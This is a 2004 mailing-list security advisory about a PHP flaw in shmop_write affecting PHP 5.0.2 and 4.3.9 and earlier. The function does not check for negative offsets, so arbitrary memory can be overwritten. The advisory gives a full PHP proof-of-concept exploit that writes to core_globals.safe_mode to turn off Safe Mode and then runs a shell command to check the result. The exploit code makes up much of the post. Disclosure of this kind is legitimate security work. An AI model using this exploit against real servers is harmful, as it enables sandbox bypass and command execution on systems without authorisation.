[UNIX] PHP Shmop Write of Arbitrary Memory (Exploit)

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To: list@securiteam.com
Date: 20 Dec 2004 18:47:36 +0200

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  PHP Shmop Write of Arbitrary Memory (Exploit)
------------------------------------------------------------------------

SUMMARY

The shared memory PHP module has a memory leak when shmop_write function
checks for offset bounds. This flaw could lead to complete bypassing of
Safe Mode and other bad things.

DETAILS

Vulnerable Systems:
 * PHP version 5.0.2 and prior
 * PHP version 4.3.9 and prior

Immune Systems:
 * PHP version 5.0.3 or newer
 * PHP version 4.3.10 or newer

shmop.c in PHP_FUNCTION(shmop_write) function does not check if the
'offset' value is negative, therefore it is possible to overwrite
arbitrary memory with:
 memcpy(shmop->addr + offset, data, writesize);

In particular it can be used to set safe_mode to off.

Exploit:
The exploit code needs some gdb debugging or printing of the address of
core_globals.safe_mode and some try-and-try again to get the right
distance to set in '$offset'.

<?
/*
   Php Safe_mode Bypass Proof of concept.
   
   Copyright 2004 Stefano Di Paola stefano.dipaola[at]wisec.it
   
   Disclaimer: The author is not responsible of any damage this script can
cause
   -SECU
*/

 $shm_id = shmop_open(0xff2, "c", 0644, 100);
  if (!$shm_id) {
    echo "Couldn't create shared memory segment\n";
    die;
 }

// $data="\x01";
// the new value for safe_mode
 $data="\x00";
 
// this (-3842685) is my offset to reach core_globals.safe_mode
// taken with gdb. (0x40688d83)
 $offset=-3842685;
// Lets write the new value at our offset.
$shm_bytes_written = shmop_write($shm_id, $data, $offset );
if ($shm_bytes_written != strlen($data)) {
   echo "Couldn't write the entire length of data\n";
}

//Now lets delete the block and close the shared memory segment
if (!shmop_delete($shm_id)) {
   echo "Couldn't mark shared memory block for deletion.";
}
shmop_close($shm_id);

// Let's try if safe mode has been set to off
echo passthru("id");
dl("shmop.so");
?>

ADDITIONAL INFORMATION

The information has been provided by <mailto:stefano.dipaola@wisec.it>
Stefano Di Paola.

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